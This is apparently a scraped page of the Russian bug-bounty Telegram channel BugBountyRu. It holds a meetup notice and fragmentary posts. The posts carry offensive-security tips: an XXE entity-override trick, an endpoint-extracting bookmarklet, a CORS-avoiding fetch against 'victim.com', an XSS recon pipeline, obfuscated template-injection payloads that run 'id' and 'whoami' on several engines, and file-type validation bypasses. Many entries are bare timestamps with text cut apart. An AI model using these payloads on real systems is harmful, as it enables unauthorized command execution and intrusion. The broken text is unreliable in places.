27 февраля в московском офисе
Программа митапа уже на сайте, а вот небольшой спойлер:
И конечно, афтепати!
Обсудим доклады, обменяемся идеями и классно проведем время.
VK Security
#митап #confab #bugbounty
🕷 BugBountyRu - это Telegram-канал, который посвящен поиску и учету уязвимостей в различных веб-приложениях и программном обеспечении. Канал предлагает участникам уникальную возможность заработать на поиске багов и получить вознаграждение за найденные уязвимости. Здесь вы найдете информацию о текущих программных обновлениях, новейшие методы поиска уязвимостей и советы по обеспечению безопасности в сети. Этот канал идеально подходит для хакеров-этических взломщиков и всех, кто интересуется кибербезопасностью. Присоединяйтесь к BugBountyRu и начните зарабатывать на своих навыках в области поиска и учета уязвимостей!
17 Feb, 14:10
16 Feb, 15:50
14 Feb, 09:50
13 Feb, 17:00
28 Jan, 13:14
24 Jan, 08:45
20 Jan, 08:10
application/xml
или text/xml
, чтобы увидеть ответ сервера./usr/share/xml/fontconfig/fonts.dtd
fonts.dtd
содержит внедряемую сущность %constant
, которую можно переопределить для включения вредоносной сущности. Это позволяет перехватить процесс парсинга и внедрить свой пэйлоад (пример #2).18 Jan, 10:33
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0–9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();
settings.php.bak
, settings.bak
, settings.php.old
, settings.old
, settings_old.php
, settings.php~
.17 Jan, 13:24
application/json.
Эффективность этого подхода связана с тем, что браузеры разрешают отправку запросов с заголовками только application/x-www-form-urlencoded, multipart/form-data
и text/plain
(а также, возможно, несколькими другими исключениями) в cross-site запросах. Можно отправлять произвольные значения, но только в том случае, если сайт-получатель предоставил разрешение через CORS. fetch
принимает в качестве параметра body
не только String
, но и объекты типа Blob.
Blob
— более сложный объект, чем строка: он содержит не только данные, но и связанную с ними информацию о типе, либо может вовсе не иметь типа. Создав объект Blob
без типа и передав его в функцию fetch,
можно отправить cross-site POST-запрос без CORS, который не будет содержать заголовок Content-Type. Это применимо не только для пустого тела запроса, поскольку данные, переданные в Blob,
становятся телом HTTP-запроса.fetch
для POST-запроса без Content-Type:fetch("https://victim.com", {
method: "POST",
body: new Blob(["payload"])
});
POST / HTTP/1.1
Host: victim.com
Connection: keep-alive
Content-Length: 7
sec-ch-ua: "Google Chrome …."
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 …
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: https://example.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://example.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en;q=0.9
payload
16 Jan, 07:52
python3 paramspider.py --domain <target_domain> --level high --output params.txt
gf xss.json params.txt | tee xss.txt
cat xss.txt | dalfox pipe
14 Jan, 18:35
accept
) с помощью прокси для изменения данных HTTP-запроса..htaccess
) для изменения настроек сервера.13 Jan, 08:49
go install github.com/sensepost/gowitness@latest
gowitness scan single --url "https://example.com" --write-db
12 Jan, 10:23
id:
{{self.__init__.__globals__.__str__()[1786:1788]}}
id
с помощью os.popen:
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
passthru:
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
chr
для построения строк. id:
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
whoami:
@{string x=null;int[]l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
@System.Diagnostics.Process.Start("cmd.exe", "whoami");
execute
для запуска полученной строковой команды как системной:${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
lower_abc
, что позволяет создавать пэйлоад для выполнения команд:${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
10 Jan, 10:30
mmmagic
(обычно используется в приложениях Node.js для определения типов файлов): достаточно поместить заголовок %PDF
в первые 1024 байта. pdflib
: Использование допустимой структуры PDF с минимальными корректировками (например, замена %0A
на %20
).file
file
ограничивает количество байтов для анализа. Это ограничение можно использовать, добавив в файл большое количество пробелов. Проверка файла завершится ошибкой, и файл классифицируется как PDF.WEBP
в нужном месте позволяет пройти проверку формата изображения: {"aaa": "WEBP", "_id": "../../../../CSPT?"}
09 Jan, 15:04
25 Dec, 09:05
13 Dec, 11:01
13 Dec, 09:22
13 Dec, 09:04
09 Dec, 20:18
09 Dec, 06:37
08 Dec, 10:53
07 Dec, 15:01
bash
, Python
, cron
и другие инструменты, которые упрощают жизнь.07 Dec, 07:47
06 Dec, 17:53
05 Dec, 13:42
04 Dec, 13:58
03 Dec, 19:59
03 Dec, 18:24
02 Dec, 18:53
brainstorm
. Он использует ИИ для генерации путей и имён файлов, комбинируя традиционные методы фаззинга с новыми, основанными на искусственном интеллекте. Это позволяет находить больше эндпоинтов с меньшим количеством запросов.ffuf
.python fuzzer.py "ffuf -w ./fuzz.txt -u http://target.com/FUZZ" --cycles 100 --model llama2:latest
01 Dec, 06:39
01 Dec, 06:00
29 Nov, 14:16
23 Nov, 08:07
08 Nov, 12:02
22 Oct, 13:01
18 Oct, 12:01
16 Oct, 17:26
08 Oct, 17:53
08 Oct, 16:53
03 Oct, 06:43
01 Oct, 15:36
26 Sep, 10:22
18 Sep, 15:40
17 Sep, 15:52
17 Sep, 09:09
13 Sep, 12:01
10 Sep, 13:21
29 Aug, 12:11
28 Aug, 15:50
23 Aug, 08:22
20 Aug, 19:48
20 Aug, 07:35